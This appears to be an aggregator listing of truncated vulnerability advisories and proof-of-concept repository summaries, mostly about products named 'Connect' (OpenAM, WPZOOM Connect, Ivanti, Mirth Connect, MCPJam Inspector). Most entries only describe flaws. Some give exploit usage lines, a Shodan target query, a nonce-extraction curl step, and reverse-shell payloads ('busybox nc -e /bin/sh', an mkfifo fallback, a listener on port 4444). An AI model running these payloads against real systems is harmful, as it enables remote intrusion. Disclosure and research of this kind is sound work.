CVE-2026-105118

OpenAM versions prior to 16.1.3 are susceptible to an open redirect vulnerability. The root cause is the failure to verify the id_token_hint provided to the /oauth2/connect/endSession endpoint. Unauthenticated attackers can exploit this by supplying a forged hint to redirect victims to any regist...

EUVD-2026-92022

OpenAM before 16.1.3 contains an open redirect vulnerability that allows unauthenticated attackers to redirect users by supplying an unverified idtokenhint to the /oauth2/connect/endSession endpoint. Attackers can name any realm client in a forged hint to redirect victims to any registered...

PagSeguro-Connect-Para-WooCommerce-CVE-Report

PagSeguro-Connect-Para-WooCommerce-CVE-Report CVE-2025-10142 の開示 CVE-2025-10142 - PagSeguro-Connect-para-WooCommerce の脆弱性 このリポジトリは、PagSeguro-Connect-para-WooCommerce prepare を使用せずに SQL クエリへ直接連結されています。 if !empty$REQUEST'status' $status = sanitizetextfieldwpunslash$REQU...

CVE-2026-100149

The WPZOOM Connect: AI Chat, Click to Chat, Social Icons & Share Buttons plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.7.3 via the 'x-yamidoo-signature attacker-obtained via inlinejs identify payload' parameter. This makes it possible...

CVE-2026-100149

The WPZOOM Connect: AI Chat, Click to Chat, Social Icons & Share Buttons plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to and including 4.7.3 . An unauthenticated attacker can exploit an HMAC Signature Collision (due to missing domain separation) in the x...

EUVD-2026-91911

The WPZOOM Connect: AI Chat, Click to Chat, Social Icons & Share Buttons plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.7.3 via the 'x-yamidoo-signature attacker-obtained via inlinejs identify payload' parameter. This makes it possible...

CVE-2026-100149 WPZOOM Connect: AI Chat, Click to Chat, Social Icons & Share Buttons <= 4.7.3 - Unauthenticated Sensitive Information Disclosure via HMAC Signature Collision (Missing Domain Separation) in HMAC Signature Domain-Separation Flaw in `/yamidoo/v1/customer`…

The WPZOOM Connect: AI Chat, Click to Chat, Social Icons & Share Buttons plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.7.3 via the 'x-yamidoo-signature attacker-obtained via inlinejs identify payload' parameter. This makes it possible...

CVE-2025-0282

CVE-2025-0282 Ivanti Connect Secure, Policy Secure & ZTA Gateways - CVE-2025-0282 명령: python3 CVE-2025-0282.py urlsIvanti.txt python3 CVE-2025-0282.py TARGET 참고:...

CVE-2021-22893

CVE-2021-22893 Pulse Connect Secure RCE脆弱性 CVE-2021-22893 Shodan : https://www.shodan.io/search?query=http.component%3A%22pulse+secure%22...

mirth-connect-security-poc

NextGen Connect 4.5.2 脆弱性 PoC NextGen Connect Mirth Connect 4.5.2 に存在するネットワーク到達可能な3つの脆弱性に対する、動作する概念実証エクスプロイトです。ハーネスは公式コンテナイメージを実行し、発見事項に必要なチャネル設定のみを作成し、別のコンテナから攻撃を実行し、主張されたセキュリティ効果が観測されない限り失敗します。 このレビューでは、公開されている Refute-or-Promote 手法 とその オープンソースのオーケストレーションプレイブック...

CVE-2026-23744-PoC

CVE-2026-23744-PoC 免責事項: この概念実証コードは、許可を得たセキュリティ研究、教育目的、および管理されたラボ環境（例: HTB、CTF、明示的な書面による同意を得た社内ペネトレーションテスト）専用 に提供されています。許可なくいかなるシステムに対しても使用することは違法かつ非倫理的です。作者は悪用によって生じるいかなる責任も負いません。利用者は、適用されるすべての法律および規制を遵守する単独の責任を負います。 説明 CVE-2026-23744 は、MCPJam Inspector（バージョン ≤ 1.4.2）における認証不要のコマンドインジェクションの脆弱性です。...

midonescanner-android

MidONe Scanner プロフェッショナル・クリーンIPスキャナー CDN · CLOUDFLARE · DNS ⬇️ APKをダウンロード · 🖥️ Windows版をダウンロード · 📣 Telegramチャンネル 🔍 なぜMidONe Scannerなのか？ ほとんどのIPスキャンツールは単純なping を送るだけです — その数値は実際の接続速度とは何の関係もありません。MidONe Scannerは違います： 実際のデータをダウンロードします。 アプリが表示する速度は、実際に体験する速度そのものです。 how ? 🔬 内部の仕組み — スキャンエンジンパイプライン...

FlowAnalyzer

Flow Analyzer Flow Analyzer は、OAuth 2.0 のグラント/フローの低レベルな理解とテストを支援するために設計されています。 私のユースケースはセキュリティ方面ですが、エンジニアの視点からも有益です 😊 フローを実行するノートブックは /Flows ディレクトリに、各フローの簡単な説明は /Flows/Flows.md にあります。 フロー自体は、整理整頓のためにそれぞれ対応するディレクトリに分けています! 証明書認証を試してみたい場合は、/CertSetup ディレクトリで、その方法とセットアップの詳細を確認してください。 セットアップ:...

CVE-2024-2667-Poc

CVE-2024-2667-Poc 🚀 説明 WordPress用プラグイン「InstaWP Connect – 1-click WP Staging & Migration」は、/wp-json/instawp-connect/v1/config REST APIエンドポイントにおけるファイル検証が不十分なため、バージョン0.1.0.22以前の全バージョンにおいて任意ファイルのアップロードが可能です。これにより、認証されていない攻撃者が任意のファイルをアップロードできる可能性があります。 スクリプト使用ガイド ⚙️ 要件のインストール 説明| 詳細| アイコン ---|---|---...

toxy

toxy Not actively maintained, may not work with latest node.js runtimes. If you are interested in maintaining toxy, please open an issue. Hackable HTTP proxy to simulate server failure scenarios , systems resiliency testing and unexpected network conditions , built for node.js. It was mainly...

CVE-2025-11986

1 제한된 페이지에서 공개 cryptoajax nonce 추출 UA='Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:127.0 Gecko/20100101 Firefox/127.0' NONCE=$curl -s "http://localhost/wordpress/" -A "$UA" | \ perl -0777 -ne 'print "$1\n" if /cryptoconnectChainAjax\s=\s^"nonce"\s:\s"^"+"/s' Fallback extraction method -z "$NONCE"...

Adobe Connect < 12.1.5 - Local File Disclosure

Adobe Connect versions 11.4.5 and earlier, 12.1.5 and earlier are affected by an Improper Access Control vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to impact the integrity of a minor feature. Exploitation of this issue does not...

tfo-connect-bypass

Using TCP Fast Open to Bypass Syscall-based Networking Rules CVE-2026-63828/CVE-2026-72243 PoC TCP Fast Open TFO is a method of initializing and using a TCP connection where the client can send data in the initial SYN packet sent to the server. This extension to the TCP protocol was implemented f...

PoC-CVE-2026-23744

PoC-CVE-2026-23744 MCPJam Inspector 参考 https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6...

CVE-2026-23744-PoC

CVE-2026-23744-PoC MCP RCE エクスプロイト Linux /api/mcp/connect を悪用してリモートコマンド実行を行うPoCです。 要件 pip install requests 使用方法 python3 exploit.py 例: python3 exploit.py mcp.something.com 設定 スクリプト内で編集 attackerip = "YOURIP" port = 4444 リスナー nc -lvnp 4444 ペイロード デフォルト: busybox nc -e /bin/sh フォールバック: rm /tmp/f; mkfif...